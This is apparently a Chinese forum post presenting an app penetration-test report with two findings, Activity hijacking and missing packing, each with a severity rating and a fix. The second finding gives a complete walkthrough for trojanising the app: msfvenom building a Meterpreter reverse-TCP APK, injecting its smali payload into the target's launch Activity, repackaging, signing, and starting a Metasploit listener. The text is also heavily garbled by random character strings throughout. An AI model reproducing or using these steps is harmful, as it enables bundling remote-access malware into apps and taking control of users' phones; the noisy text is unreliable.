- }. t& j" j( i& p* x1 r* b ( \& W9 `( q$ C0 H# v a0 ^   ' |% I! ?; @* z* A( P; F: z4 o% k0 ~* y! R& ?/ N- e# @

9 o( w6 `* J; d* i* t7 V( `. B9 [: |: v4 D% q o

' F7 @0 |0 X4 F, Z d f 0 S% g& I5 _9 N4 t) F 1-2 测试结果 $ ?0 r, j9 W+ R8 F1 E; _6 Q! U2 B 1 |- \( O& A$ d* t4 h& k: ?$ [; b

4 o, P) |/ A. @7 g! B+ _% r + r1 M) ?" `' k$ I( o. b3 w# e9 l& X

- c& J d$ M1 k/ e9 T : d7 }; `, E* H# y. ?$ e   - R2 Q+ Q: _/ c$ n3 o+ U# | + B, _$ C! N* z3 l M: Z1 L; C

5 D- e% S$ w9 n" X9 b+ k- [1 j ; ?8 ?+ I$ g9 b$ L, C2 |

# R* m2 S1 W7 y+ s# E8 F 5 D% b, g0 r8 ^9 `; ] 2 检测结果                    ! A% W, z8 K/ k5 I 8 V6 ]/ M; B( U, U" N1 D* T

$ G, [6 }" V- a7 U2 o " }" i/ h9 P" r

% b. y3 l- |0 N3 H# @3 h3 p! s/ o( A( z, w: F! p 2.1 某某某 * C, k+ z4 D0 s6 P9 a ' R% \' }1 ^3 n# n0 X2 u, M

, G& Q ~2 ?1 l, c . b! i# i1 o0 R, c0 \6 ~3 a

, ]1 U5 n0 B" h0 M1 v. g 3 R; Z4 z+ \' `* g. b8 y& g8 e& \ 2.1.1检测目标 # j2 d% ^# d9 k: E) g1 ^( S 0 \8 T, E0 f( ]8 ^; H

; h: A J% d+ y K0 L3 I u5 W4 k/ P: t" a! q2 P

0 S$ E2 ^' l7 V4 P$ L) W 7 b0 J6 V( Z' a# D: V E 目标地址: 某某某某某某APP # P* `2 W+ X; M" B5 U5 U 0 `1 v; L, u% ~

7 u3 r" |. l1 T$ l% k8 e 5 [9 r5 ]3 b }: t# ?, p

6 r' p# h! z/ c9 _1 F # I9 d* M0 @/ }: F5 ~. O 2.1.2检测结果 2 X* A3 W5 z3 d |" I 3 u ~2 h9 n7 X6 P( d2 F2 v

* ?! R6 |6 g6 d% a/ f4 a+ O3 c/ |2 P: b7 I

( b8 G8 @; S F* e& ^9 n, y 6 {* H6 z% I' w 2.1.2.1 ' G @* e. \2 r5 B/ K6 H) V / |9 o5 x; ?, p8 i

; k5 F& P a8 Z. @' u4 E ; j' O H1 F$ }0 u$ D+ F

3 c- l+ X" O0 k' D, @/ g 1 W0 ]7 y6 H4 G) `6 Y1 W% B 漏洞链接地址:某某某某某某APP - \! p1 U$ _: |4 z ) Z% y* L$ f% _0 w8 c8 T

1 z S1 _) q2 `( T& H+ k. x ; V e" c0 W4 |8 c! T

, W D1 I5 w* T' _1 o4 ~( Z: x+ ]+ x( s9 G0 }* ^   0 K5 `- F! H$ h% W& g * H/ [ s2 i7 B- l+ m' n c

6 h" }5 R0 r2 A& W6 h9 Z * C" o5 U: z8 @0 [4 i, \

6 ]+ x9 r, d4 p% N7 I! s/ b % @, |; v- w" h! ]* C9 d; { 漏洞分析及取证: + Y! l% @; y- n/ t6 m 0 `; _5 G% h6 ?1 [. ?7 m

+ I& [7 }: ^9 x. H* ] ]( G2 U* x1 q5 w- T! I9 B: H/ [

( H) M, z7 F6 l% [6 e# f # g' K4 `- Q( v2 p                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 I% a6 ?* y4 A0 C* t0 N0 [! u# W 8 d9 @& k4 ]; V! E; P) }0 O$ V9 ]

2 [0 m+ y! b( N' f% B1 b1 ?0 y- u0 W; W- b8 p, h- r2 L7 B# G# s' ^( e

8 K" C- A% F7 l/ [" F- h, Y' k' }) A ; o% Y, B# q0 B8 W9 V      * ^4 W0 m7 d' d l/ P: Z h: d2 M: G7 R

0 i: C6 b h- @+ R5 F+ D- N & d1 ?5 D1 C0 L

3 \8 X( I5 p8 @6 J % u) c" O1 H* b( f* _) [ W                       & w4 X7 g6 p; H4 y ) T9 ~6 w" z# ~# M6 j

8 V6 Y+ x: T2 d4 H) D q" \' S5 @. Y. e ) ^* G1 u! k# |- S! w( M

8 B) Q0 {1 L1 {9 L ) Y9 p9 c& H/ V* u: B: p $ I/ Y/ l% T' O, r ' t- K; C- v0 n# ~& e7 x1 w

# p# o, C* y: {3 K/ }& [ % P# ^' C" a: ~5 l/ O3 L3 u

" O( l b! L/ _# p2 _6 H4 s( H" @* d9 P4 e3 x( _ . W9 t% P+ b: D# }3 F' C- m8 ]: f4 {+ P: ]& z, @( L0 ?

' f' J' V; C# V B$ c9 k+ |& ]2 T2 w0 X) t5 g

" z7 | n: H5 O& p8 q" p9 Q; b) l' L: d0 x# P , l. L: c' w, X q9 s& f( {3 z

& g$ k z' G8 L- z7 ?$ W! c, r( b2 P. S6 ~

/ z" Q9 ~; g2 v: g; n" W ' f' s9 ?3 r) z: y, } J7 s5 v 漏洞危害:高 , E2 R# x( m! p6 Q0 ^; L7 W. t# O$ O& Q/ d* R% [7 Z

5 c0 p1 a0 u% o! ]1 ^ & d7 p/ R+ a0 \ E% T/ ?, }
# N" D8 M6 a7 A; W& P: e' s 2 |9 O5 H2 S8 D; w @# L1 w; U3 e5 {$ X4 Z/ A, o0 L/ ?7 K) q6 Q7 T2 T; h0 @9 x6 B' J, Q( z( P6 n# M' m$ r- e( ^! H1 e* N. k# v* T- o2 H }3 F3 F5 D; G: @0 _) r. |9 p" G2 J; ]% P4 `1 t8 x* u2 G- }2 G& X9 `. g- Q1 j& p# Y# Z: @( e% p( J4 K6 e$ `. S. p3 U7 @+ Z6 `! Z% z( }8 a, c: W; {. [% `4 K+ q B0 G( B2 |) [3 l# X- _- \9 q* _ k/ E; m6 D3 G) y: r1 p3 ]7 q4 b) N' W, e& `8 ]- N$ n# n0 \* ~+ j6 P* b# P* ~1 s1 u8 D; U0 h- G; m3 }, i6 A l% [$ ]9 v5 d. C1 ?" n5 @9 F' H2 w$ W" l" t. g7 B. `7 \5 P- u7 l3 l$ _6 \8 v0 b3 P* d6 W/ w ^) S$ g* b5 A$ z+ |& A% K9 d
& x0 a5 m( e2 T( O5 |. f% f 5 |! c+ \- t: t. o0 Z; Q

" E! P; T5 A* K! m7 `0 u # p! d- x# b# @0 W- C' j4 J 严重程度 4 e: q, t: V, V5 S1 r5 F$ U8 J; o4 S4 j0 U0 J& M5 B# B

- y, [' K7 q3 l * | B v1 d5 e7 [3 G2 V6 X
, F6 y; ^/ h! }1 [ * l4 A+ }4 O. i9 J! y1 e8 Y

. P8 K! {" j6 r, ]7 n* x* o8 R( G- w0 @) {. O- V6 }$ f" ? ( M5 ]! e! L# N7 U/ m ( C; |* G- w9 h9 r8 F* `

+ \" s) q0 w: L# | v 1 V9 ]* Z' i* W: [; [
1 J- d X- P. {% O " q' V- P9 A& H( n

, ] l* y& v# |: g. W ( n2 X% k% [- ^3 I7 M4 A+ } $ Q6 p8 b* {' k( P* O 0 O5 d* ~, e! Y: s; B

' j) n3 D7 t; C: W+ A7 x3 m2 @9 S8 h $ f, ]2 C Y& N' ?* D
# Q6 f) a! y' F I& } 9 w( V9 \! _" Y

N7 |# ?7 W0 q3 _4 e 4 X: W, d# g3 J8 E# \3 ? 7 |/ k% U4 A1 s* x! o* @+ R* ? & s+ T' F9 P& X f" f8 c" o9 V

; H/ u3 D3 u; f, l+ {9 A9 z3 e1 W/ O4 X ! u( K! e, n. {0 u
* ]3 O/ G2 g i0 n/ g5 N' u8 I ) Q7 v, O/ a' `& I" N! v

' o) e: \4 w1 z1 U) o$ ~7 Z1 ?; P ' W0 X( G# A5 ?- D6 S2 V   $ R ~3 |0 s4 }$ u. p 2 g( ?6 p, ~1 C, w0 {0 u

% C$ z0 T3 }4 F+ s- y5 b0 j; k7 P$ j) @4 P1 C e4 U+ m
P/ ^9 h. m, W* e9 Q1 s0 }8 \5 `: e5 T4 F% O \8 B' q3 B

" U, k9 g- {0 v& c# g5 p9 ] ! ~! R2 R/ J8 e: t% u 4 D* z* @; a; q0 s$ D 7 Z% l% z% R; I! h: x

' |2 ]/ A% C/ S+ | 3 J6 N8 @# p* \. U
- ]; ?6 O# L) F; A# o. V9 x$ X# a) {

7 G: i% t3 \" o6 ]5 z& ? 5 y K( {1 B. q D$ b$ p: u" u   ; G p5 _# f6 r1 c$ c$ k5 Q2 w/ ^7 @ 8 g+ J, `& I1 v# O+ |7 }. ?

) F0 Y! }. y; L4 A! h + u; B2 Y& b7 ^9 b) G2 l; d) o7 L
0 U. c& ~% p8 g- T3 Y3 P1 B7 ?9 t8 ^5 ~
8 e# Q1 M& K$ Q+ `5 j. X8 l, @: B4 W; _% l6 a5 R# Y

2 e& S1 c0 k: M2 J) r; s , |* Q& Q+ X8 \) ~) A) z- b# m   ; q U! s+ g0 W/ u/ ^6 f2 c7 n 5 G1 s( c! S! |: a

2 R" {0 i2 h. |* Y, | ; A/ \5 G3 @; ~6 N. x2 L/ W

% F# D# y: ^3 h / O; S" P2 U( [$ U7 g 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ( Z. g0 q0 p N0 l/ Q6 X, F( h4 B' n0 x* P9 ]8 l

: i& ~* t/ e0 g: ~ - x2 D7 ^1 b& t) B2 I

4 k' E. z, ^0 p# G) N) C) J3 P% D' [0 N* s) E2 {, [           0 a; y, _: s9 n! R1 U% J # W; x; q3 ?3 l/ t( p4 m

" W! `; \# b9 b- M' w9 `' } , P# z! s# ~3 ~7 O* d* T

" S" i! E; s- ~9 j 1 l. z3 I+ \. `. ^   8 H$ x3 c5 L3 z6 B* }. u0 S! h3 g( l1 i3 x% J1 b0 \. b

/ u+ B* c3 y6 U# l9 e ! H+ n8 S: `: u

% O' ^+ ^% S5 l+ Z 8 c1 z) @) G! F$ m. K 2.1.2.2 , `5 ? S. A: W' E2 T 4 F1 a; T5 |6 P

% J1 F8 s' I$ s9 k7 p# {# e4 L; y. `0 X

7 z; w$ D5 ^8 q: ^- E: i) t! d6 J) i" z9 p5 I4 p* \; F: z: m" K 漏洞链接地址:某某某某某某APP 7 p4 D/ c6 D% a) H. a/ e9 D' Z* u- J5 l' G( k

6 b4 {/ k4 e L% o ! H/ }4 S/ o6 _

2 B* T/ D- J/ ~8 A k2 ]) L( O, [& W) ~" ~& H/ y" G9 w. p3 t 漏洞分析及取证: / r: Y& v3 A, T2 ?0 m7 ~0 [. I 9 ?! L7 V9 O# @! I

6 }: \( J/ c9 f- P 0 Q. @" Q1 J4 s& r( |

# D U' q9 U3 c; C0 F , A% m3 c: Q* P8 \# d, c                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # R. W+ i' r9 n% b9 s$ ] 0 X" s8 e! a* v% I x

: R6 a+ ?4 n3 ]: A% Y5 S3 \ 8 y5 n8 K0 C3 `4 v

0 a1 Z, o/ Z( a! d- r ! z$ F; a) c9 F2 q/ B Metasploit 生成木马 apk 7 g2 r `( H7 l! d$ t C* J$ N 6 @4 w' M, _3 ?5 O% H9 c

5 k6 I" m- k/ f$ Q* a% z; p6 R/ q1 c. ^; y; \

4 k& ^7 ^6 k- Z+ T . D* H) F3 B9 U/ V) m4 {5 l msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk * X7 U5 S* b: ?2 s3 e) ? 6 @- r( n7 a8 [+ C! y

4 C- Y: V6 H( @2 N( _ 5 R7 k( }( d2 \+ e

3 w& }4 P' z7 B 4 l! ]; g1 L2 p8 u# \7 k 反编译目标apk和木马apk 1 Z1 Y; L n% h9 m& z" j1 ~0 g4 k. E5 @, b# [

5 {3 c# Y' `: _8 c 3 \+ i' q% z8 }+ B0 \& D: c1 S

( E' x; L3 ?+ w1 A: Z# o/ L$ m. l apktool d target.apk
+ R! Z6 R" `9 ^$ \8 s" H) d( c. R) b# m! l6 L6 p apktool d cockhorse.apk
+ f- y) Q- T( D) x + H0 F0 _8 n. [. @, r$ g

1 X4 e; O: R$ K0 g- n# u 9 _6 r1 H2 d" B' y

6 t0 I+ l8 |; g1 x0 M4 C, o% c+ ^- E# `, I7 S 木马 apk 注入目标 apk 1 }$ Q- V6 {1 X ( V' I" ^, c* e; Y

8 Z4 F: L& ]( \ 7 J! X/ r/ ?: d/ P2 M

( B6 a# [ c7 y) P v: a) p2 t) a7 B) X2 i1 [* N3 H" X. I 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
T+ A0 J9 W/ I$ S: w4 f : h, T2 C! S; m- C; J6 Z' B% \2 o invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ s8 p/ ^! y- m1 M$ \+ J 0 a" Z8 E' `5 D- d4 g5 e

+ r9 m7 v5 r, {' L, B$ m+ b& @7 ~; o8 H7 u* n6 q

' N9 g4 X7 q4 n+ `. A$ j& S0 h8 R7 |: i6 @ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 ; |6 Q/ k. Y5 @* T1 M9 S P- ^& e, O/ {6 G/ J9 l) E! [% r; w0 H

- {# G4 G6 X, G1 V $ L, X$ Y+ |. d2 s

}9 T! [. U6 [5 j. j7 H ( Q" v& f; n8 R8 ?( j 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ x& [+ @9 V) _9 r6 r8 K0 i3 {) O8 K3 Z: L$ j' o& b

; F6 g, f4 W# {' g, K& R - q! z/ h, k! t

, D$ l4 ? {5 o2 U2 U5 a 9 w, W4 X2 \9 ] 回编译生成最终 apk - ]. p, J5 `8 D k8 G$ C* T% w7 N/ W& n

8 k* o0 T3 G( E( A' ?7 X, U. Q 0 [. j. g7 k. e

1 h; \$ B. }' y, g# f6 o) C" ^& [ ; U6 _: k9 [9 v; n5 t: k. n 重新打包 7 r3 S2 R* |' k' `! ~6 t: | : A' u3 T. d. L0 O+ o1 o

9 G' b/ }' d& X! I" J S5 J! ^; _2 _- w

: [0 p4 T. K6 K* V% Q/ z6 x- y, H. a3 Z: ?- B: L apktool b -o repackage.apk target_app_floder ) S0 f. _" p) A3 v1 A. R3 s- m; f2 @6 {+ q. z4 O+ `

3 `+ w/ S) \2 e& g( @$ ~& H 0 l' h8 k" {* h- `

' _2 H: `/ [' v' B% |, N 7 j: x4 ^) k$ R+ ` 创建签名文件,有的话可忽略此步骤 l8 G4 h8 |( J9 h / N* T: C" j& R8 I5 B

8 r5 s* D+ K4 ]* R $ S. W1 Q- x' a' m

+ Z0 e0 H8 L! q) n3 c * p+ i, [9 ]$ i6 v% R# q( ?8 K keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # k3 f! `: M7 ^# n! x , Y: ^% B s8 r$ O& K' \

' J: {! X9 d! M" _$ c4 ]1 N4 @7 l& H/ F1 j, D

4 z* e4 {% V/ w9 ^( F+ X6 [9 D U% @* ?5 L7 w1 B/ ]& y 签名,以下任选其一 6 B1 q' ]- K6 A& a: H6 V4 \ $ F3 S8 R0 V) A( }& h2 ~! O

* W2 |5 D: h+ c / |7 c, _7 f" {9 R. f( X" A

2 m0 H2 r" U! j! P/ o$ Y # _5 ?& H: w4 | i# S jarsigner 方式 ) D; }3 E" b( p [ " Q+ U2 ~1 n1 b `6 R

0 {- \, p+ U1 y) I3 [ + I- i+ t' g2 N! p

% M2 A! `6 [' ?9 C 7 Q( a; m: z& C2 v4 n; x0 ?' R jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname $ {- j6 J( D8 ~1 u9 f4 U * W& y! i+ k( q, t S

2 x' s G4 o' ~0 L8 x+ O5 w $ ?& S; N p& s( N5 ]

! O; h' e9 `; j3 |. ^& I4 g* H! E3 q( s apksigner 方式 5 p+ S$ A$ T9 R, V 7 O1 H: u/ f$ I/ K. O4 I+ A5 w K

1 K9 e; c( u) \& D c& `5 N* N- {. K

5 Q8 |$ l8 `: o" R& A& [: ? * s# N# s. e- T$ t6 z1 w apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 r; x+ p, s7 G0 A" A+ I5 J$ v& y# `! P7 c% M9 U4 z

0 M- Y0 }* y+ q: @ o. i$ e/ U- \7 ^- T. x% C, z2 A! H

8 @' R) s; t \/ z4 v6 l5 r1 \7 l & ~! W& Q8 e3 Q" X 如需要禁用 v2签名 添加选项--v2-signing-enabled false & i3 u. M3 D" m! Z) W3 I7 N9 n2 i3 \ / i# X3 Y2 c0 D

; ? b# K5 [/ u& x! u8 j8 Y3 y6 I: q- G3 `2 W& x1 P3 E

% d! z' @( L6 d2 q5 l : u$ k: z2 \* y: j& Z4 c9 S 验证,以下任选其一 3 U, O; {$ S4 G' Q& F; ^2 R0 ~$ |; | 2 n! l8 M0 A6 A8 e) r0 e1 D

4 B+ ~2 R! U$ i7 ] , Q6 l1 Z7 Y7 v4 g. ~- ?4 M9 r% o

+ e( r2 o$ R+ m 3 V) \8 V+ m+ H, @( n* L' I( ^: O; d jarsigner方式 ~7 H7 v, b' y2 b6 R3 c3 ]5 w" W: ]- Z9 k0 _8 ?

, K3 C* B9 {- q- b2 s; U ; S% D- l( I' M2 v* ?& K

. o4 A# K5 {' w 1 ^" O7 C0 T4 ]* q/ S" z- m jarsigner -verify repackaged.apk 6 l! i" s& @& m( w5 b: { ! [) z* E+ T9 R

R5 q: I( `7 P! L9 f( { ; ^ a. F I) ~) Z: S

, s/ \' G$ v8 O f% k) K1 ~ 3 f+ D; x. f" v7 r apksigner 方式 9 }8 j) O7 Q7 x( C; @, k 9 @0 k7 O* ?; l1 ?2 t9 ~: z8 s, G

% [6 R) F& y& }% W; B1 p' U. }3 g( O( C% N2 a7 W5 B* |" o# e

1 T9 v; M" z+ g$ U$ [# V8 r6 b5 `$ k7 W, ^5 z apksigner verify -v --print-certs repackaged.apk 3 V; t: E* O& s% Q" h ! `9 o/ ?8 C$ @) S b

9 {9 T6 S- ~: ~/ R3 w/ R 2 T4 c$ M I; x4 Y7 b# b

/ o& D2 B" ]$ _( t( j; W1 T ! U& Y+ H. n/ C keytool方式 1 x F2 I: O$ S$ N 4 L2 u) i3 M& e+ I2 s' y

& t6 a6 @& }7 \1 T4 `: N * d5 f3 `- C& D

/ E8 Y. m3 [( E4 x+ h, Z9 @) V # Z& w- R$ v8 b2 ?+ i keytool -printcert -jarfile repackaged.apk 3 g5 I: t& y0 f. n2 d* m/ g( q5 Z! R1 p1 _& o8 X/ X6 V3 y L

9 k7 E# j* f! y; j " S6 o2 Y( x4 H

$ O8 Z+ V2 l6 t3 I. C S2 @5 ^! e! |; M$ y0 ` 对齐 & A+ F* y+ o4 o7 @ 7 p' A+ A% w* O5 r9 h% d1 Z

: [4 `1 T' i/ ?: d \; E ! f6 ~1 N; T+ K5 w, ^! Y. D

+ [" P( Q7 t# A) t * W8 ~9 ?0 K/ v! K 字节对齐优化 7 T, U' q$ _" c/ A1 F 4 _. Z) P; z2 R9 E& X% }) B, @7 j& d

! f$ V6 j' A6 B& \6 X) g! |4 P* X6 u1 a5 N$ Z1 n

7 {; d! I# K g+ i% ]/ ^6 p: o4 ~ / t9 e2 ^) c. n$ R zipalign -v 4 repackaged.apk final.apk 1 u" h9 A3 ^8 r# w {8 }- m5 S& G & \* M. }- D' H; d! N

+ J' L0 j5 ]/ G7 T3 k , J: T$ F. Q* C1 t4 ?2 t

+ D* I' R5 X+ p' d& b% ?) G! X; c" {% k7 ^$ g$ o0 k: G% l 检查是否对齐 4 b) q$ z! Y b7 }2 G 4 _7 {9 S1 ~+ A$ g, R' V# l

L0 ~$ y; w% C- I5 g; {- B 6 U2 z" ~& F* n/ e6 D4 v' p# V: g

/ L) _7 }1 j8 q4 n, r$ p ' y5 i5 P/ q4 y5 f3 o zipalign -c -v 4 final.apk ' z3 y8 t: D6 ]5 J7 z. o2 A* t % x7 }3 ] Y; J$ T! k6 m- o

0 `1 |7 G" k" x$ g w) Z0 k; i- m7 _1 \

0 P7 {5 J- p9 _9 `$ R/ t * J; {% R& ?; b 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 1 I9 T, w- m: E5 _4 B % o2 P$ y* v- g, H

- g& ?7 b8 U4 D4 h M6 V ; J& A4 o2 E ?. o; B9 Q( n- h5 c

5 z$ b [6 g6 Z0 E: ]( z p4 z' ~% o3 N 启动Metasploit控制台,配置参数等待上线 & `7 y; ?; [* C" {' y # F1 n8 \. m% Y4 u

1 j5 a W0 r) N8 q, _ * k0 x) o0 ?, {7 c$ ^

9 K4 a0 e, k" m. t7 U6 Z 5 T# W+ {* K% E) H/ z 在终端依次输入如下命令 ( s& n+ b/ F) w7 L& c2 E# m ) Q* H# P0 i' A9 f9 |; _# u6 G# |

_% ]* i6 X; G ' }& i5 d% _) n' ]' f7 _

9 D7 n( |! E% J9 I% _3 w1 A* U, | 7 s/ b F/ R5 a% f5 c! _" l+ e4 l msfconsole & g. [8 y5 A9 [. I; J + Q1 |' N( n, b) v6 k% p1 D

( F* u- T* j3 b* ?. L3 A" U + h. @! `1 z5 L) n) ?: ?- V# y. w

4 s6 {9 {# H, e+ `- g) v; u 0 G! I: I- k H2 o& ?2 k use exploit/multi/handler : f0 N/ }' u5 Y' D* s1 Y6 U$ `# W 6 D2 y2 g' C4 r$ p2 y. b% r x

L( z! }1 z: D- l) ?1 U4 V7 q+ t; r

, U9 B$ b, ^/ l 9 ~% b+ q" p( }9 M7 _% F9 m set PAYLOAD android/meterpreter/reverse_tcp / `3 y6 f; w9 w; s ; l$ M, \, _) L2 T

" d) w& l' {. w& o5 w7 m - Y6 ~: ^; k; M

. K: M2 }- z: ~+ R+ _& ] 0 n' ^ q" S! Q, N6 H& x set LHOST 192.xxx.xx.xx 8 T. r& R+ A) _, N; ? ' s% N& S2 F) m# f G( w _0 v$ n+ Y

1 R; o# Y5 X5 E ) G4 g; w8 T* l q4 D& D7 Q" v; u4 i6 |

: _8 |' M$ u5 n2 `! r 1 D( p5 D2 l3 n! W9 j set LPORT 4444 ; x0 ?- S! k% g) o! {1 D! n ] . R. @5 h6 W6 ~) A T: j& N

* e0 U" E0 l7 o2 D# V3 ~ h5 D! C, h! l* m

5 g0 M+ E5 b J: O1 q2 s ) ?8 ?2 e# v/ X0 E6 o5 v exploit " ~- G* G4 v4 q 0 g/ A7 p1 r& s4 Z, |

2 L+ o5 y/ n h/ M5 P1 \2 z, g: {0 Y! G

' t" L3 d/ F* Y2 u ( Y6 N9 L* v3 C3 u; g k' a 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               3 V6 I( X; P. A7 a/ H4 M' `: U6 `

, Q0 [" X2 \* k6 {8 D) o2 a 1 z I- H% M7 P6 s

! c3 n" D/ x, N$ Q 3 c* r q1 x4 R 漏洞危害:中 $ u% w/ d( Y! N/ X/ O6 x; g9 f4 f. V) o. ?# ^+ _

1 u6 J2 b# L- |- q& `+ S. f: B( R6 A; x7 l+ W$ _8 T
4 D+ ?" D% ~; j8 F ( X, Q+ w, H# T0 B+ n- o$ a" u( P , k7 ~ m4 F' Q5 R$ g* c + F. M' Q7 {5 ~. r - u! R( A% T2 q4 o. \* p: w0 y/ U* g1 Y* e* L, j7 E) b) X# i, f* V+ i/ T( o) L6 W, W# H" \! V5 y9 s k9 ?9 P# v! g# W+ V: H6 X/ l$ ?7 H& _. d% m% F/ |$ l4 }( Q! s5 ^: D* b/ l) J$ B* s9 x7 l7 S9 V4 w3 y' D5 y: a: M p0 t5 l& S! ~& F" J+ r% N4 M+ w G$ {6 z) t) g( Z; N2 w/ j. p$ V' ~/ b5 X' L/ Y( K& k7 j. V* g( _0 g5 c) f# W! z$ p5 V( I( d- Q1 E3 E' A& ?/ u( d" y; j5 s! c, k3 v( m$ O8 V1 {, P b/ P9 f+ y9 v; `! G6 E4 j, d) `' q& {4 X! f& [0 e* H( }' o6 Y% G E! F! W \1 w' e' H( ]! z: y; u0 e0 W( I% H% u+ ~1 z" D7 y8 ^: H4 w, T q+ t/ i9 T k/ f7 M% |. I$ q( K g) z/ S! z8 u& f4 X( `3 H7 d- E
+ s7 y* b9 G3 A. p4 c & n$ q; b9 d2 V" Z$ Z

2 m \6 _- ?* U- q7 |; l* N + I( R! L3 z" k 严重程度 9 N5 Z% t( v* d# O/ _8 w& i , I1 f: P: b+ ^5 \# m, y

8 r, b1 f5 r* W3 U: i/ N. E } m / P0 h8 N: o5 P. Y
1 r5 R9 v6 L8 b& ?7 e' F h 5 V; a1 z8 S1 R8 A) X* X

5 X0 H: w! X' a/ q5 m& b+ Y) X N3 s+ v) d* `1 g 8 ?; L( e4 k& j7 Y2 ~2 X L2 B q/ ~5 e8 m- t# z6 F( @

; g6 y T2 W2 q0 G6 o% U % P1 m- I) Q' L$ a. B
0 F Q" w- d8 {/ x' ] % \' K4 g2 m, H1 Y

9 X# W: M7 h6 C3 o7 u4 ~& u2 q ^ L2 q" R/ _( _) U$ T3 q + R1 z. t1 u7 t3 j+ Y1 U " T$ M5 F4 J6 ]6 h3 e

8 q5 q+ W9 f+ L- |+ S " S( S" l7 f) t
9 q# R+ u& m- Z& y( }" D$ h; F3 h8 L " B% N: F5 V! [

& Y R# U2 Z6 o* Y1 e * L) z$ T* Y* ]3 v ) E9 [5 v6 B) A 3 v3 P# J8 [" p: n" Z" J: D; e2 m" x

7 j4 ^3 B- k% W: _ ; y( v8 n6 Z. Z6 G+ g9 t$ R1 B
: r8 e6 Y/ Q# ~2 m, n4 Y, E ' b2 H- x5 ]2 M ) Q) g9 O2 W4 k3 r/ u' m ( [. |. x3 b- L

, e" Z/ B# ~1 z) r2 H) P+ b B ' v( D0 ?9 Z# S1 M+ y) S! `   + i) L3 @9 k3 Y# i9 A6 C; v. j, u5 u: E$ `8 M

{& S0 \1 n: l% ^( G3 e% Q: B( J/ G- U& k, j
o$ q1 s% n! x1 _ B( h 4 B/ _! Y- `8 c# h; K! k

' |# J% C6 j# Z- c) o6 M! D 9 y/ r7 G& D# Q% L5 X7 H; v0 { 9 R U0 G9 w* l. x: R1 G ] + w+ Y3 m& |2 Z- T5 r2 b+ z

8 N$ P3 v |7 \% O ) M8 `' U. s8 w
* g. P4 T; q. p* G1 u2 W0 S- b / i* V0 n2 e6 E* W$ ]( g 6 k Q9 h4 R8 S5 O9 T7 ^" j ! d5 n* @7 k& Y- G: [' o+ w

$ p1 T* N8 z5 w- p* {5 Q: n# l ! e! G8 J9 W; v {* F   ) ?5 W/ R* s( c& P ! {* J: o8 c4 U+ o2 A% s

( q0 Y6 B. x2 S8 V$ `2 v2 N8 W+ d0 p : C7 D9 g% d' k( b6 ^8 l
+ S4 Y- B, w" i! i! n8 ] ) e: K; p2 d {* Y5 v# g
4 n0 W4 M" ~( i0 k! E2 y5 `. A 1 i u% \) S, t

) ^9 H0 R/ z/ u: i! d/ l 9 p6 p" {5 k* \" L* y: y+ _+ B9 i   % X1 j9 Y' w( I9 Y* A. c # q# A( n7 S$ N; K, }* P

6 w9 }8 y* f, A' U+ f + e- R- v2 U1 \9 {) K! y

* M0 g7 B& d n 5 p0 [; w5 _# b) C" w. k 修复方法: : h4 |2 B& B1 `# I0 S+ m 4 Z9 I8 b+ S/ ~& O0 x* @( B$ W3 l' m

# q; Y4 r: j/ v! p9 v 9 Y0 m% B/ {4 G) h, v( ]. o" n

$ d& C7 `- X* c- d0 ~7 E / n4 N. l( G! M- k4 [, u# T               1. APP 启动时应做签名校验防止二次打包。
6 E/ _8 R- X u8 Z4 ^4 W" E( ]5 A 6 a) d" Z7 G; _8 G( V0 G 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 " F0 D! I( j- G) ?) [ $ M/ o& n8 J2 L F5 g' w3 C/ l# b* r

0 _( ?9 B7 e/ B+ G( y2 Q9 t' Q9 z9 q. W7 J# s6 v : c) q* n4 \$ u6 p! p6 o1 ^, G' L 9 S) `; {# P6 t" ~7 X$ W: y V! q7 i

& |. B9 B7 ~' j5 ]8 T: H % j* s9 |- B [0 [8 C1 K   " z) {3 S9 F `6 N7 g2 G+ Y & B: A |; ]3 \" @$ V* K/ J

9 P. |: l$ ^- a; u' w0 @( ^/ C: f9 T0 t: g( V% L% x( q) I 9 k2 Q9 c* q* }4 g5 T0 t" Z5 M/ u5 T: w9 V! U' K6 Q. I

* B- g* g, f3 L8 f; \* J : w% s, q c: G9 V1 s
% B1 k5 n& t) e 1 Y* `9 |+ h/ F, o/ S: i

3 Q& M/ u/ W$ Y: Z7 ?0 }; Y5 c4 A$ p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表